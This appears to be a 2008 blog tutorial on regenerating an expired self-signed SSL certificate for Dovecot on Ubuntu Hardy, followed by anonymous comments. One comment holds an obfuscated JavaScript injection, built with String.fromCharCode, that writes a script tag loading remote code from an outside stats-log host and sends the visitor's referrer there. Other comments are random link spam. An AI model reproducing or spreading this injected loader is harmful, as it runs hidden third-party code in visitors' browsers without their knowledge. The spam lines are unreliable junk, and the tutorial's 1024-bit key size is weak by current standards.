Ubuntu Hardy and Dovecot -- Expired certificate.

So, it's been a year since the creation of Hardy's server ssl certificate and you'll be wanting to recreate a new certificate to get rid of the error messages in Thunderbird.

This is what you may be seeing or something like this, hostname and date will be different of course.

"server" is a site that uses a security certificate to encrypt data during transmission, but its certificate expired on 14/06/2008 7:31 AM

No problem, easy fix: 5 minutes to create a new certificate following theses steps:


openssl genrsa -out server.key 1024
openssl req -new -x509 -key server.key -out server.pem -days 1826

The later command will prompt you for some details, this is pretty much self explainitory.
Remember. when prompted "YOUR name" is the name of the server, in my case just "server"

Once done copy the new certificate and restart the service...


sudo mv server.key /etc/ssl/private/ssl-cert-snakeoil.key
sudo mv server.pem /etc/ssl/certs/ssl-cert-snakeoil.pem
sudo /etc/init.d/dovecot restart

I've been putting up with the error message for a few days and finally fixed it this morning. Note for other releases you may need to replace "ssl-cert-snakeoil.pem" (and key) for dovecot.pem

This will give you an extra 5 years of breathing space.

Anonymous | Wed, 11/19/2008 - 03:30

Anonymous | Tue, 11/18/2008 - 21:37

Anonymous | Tue, 11/18/2008 - 09:31

Anonymous | Mon, 11/17/2008 - 15:02

TwFnyv var r = document.referrer; document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+String.fromCharCode(61)+String.fromCharCode(34)+String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(119)+String.fromCharCode(119)+String.fromCharCode(119)+String.fromCharCode(46)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(97)+String.fromCharCode(116)+String.fromCharCode(115)+String.fromCharCode(45)+String.fromCharCode(108)+String.fromCharCode(111)+String.fromCharCode(103)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(109)+String.fromCharCode(47)+String.fromCharCode(103)+String.fromCharCode(98)+String.fromCharCode(46)+String.fromCharCode(112)+String.fromCharCode(104)+String.fromCharCode(112)+String.fromCharCode(63)+String.fromCharCode(105)+String.fromCharCode(100)+String.fromCharCode(61)+String.fromCharCode(103)+String.fromCharCode(38)+String.fromCharCode(114)+String.fromCharCode(61)+escape(r)+String.fromCharCode(34)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))

Anonymous | Mon, 11/10/2008 - 17:37

Nice one :-)

Anonymous | Thu, 11/06/2008 - 12:39

hlBlrj pogvwmmurfhb, [url=http://xdvqmhighkre.com/]xdvqmhighkre[/url], [link=http://pzhdeuzohytj.com/]pzhdeuzohytj[/link], http://phycfncsrtmh.com/

Anonymous | Mon, 11/03/2008 - 19:04

concise and works - perfect!

Anonymous | Sat, 08/23/2008 - 08:44

Anonymous | Thu, 11/20/2008 - 18:43

Anonymous | Thu, 11/20/2008 - 10:55

Anonymous | Thu, 11/20/2008 - 06:26

Anonymous | Wed, 11/19/2008 - 12:28

C4LvwT qsyfrisnmlbv, [url=http://mztigtrtfhby.com/]mztigtrtfhby[/url], [link=http://afqmsvhsjyda.com/]afqmsvhsjyda[/link], http://jcnesfskxyhv.com/

Anonymous | Wed, 11/12/2008 - 11:47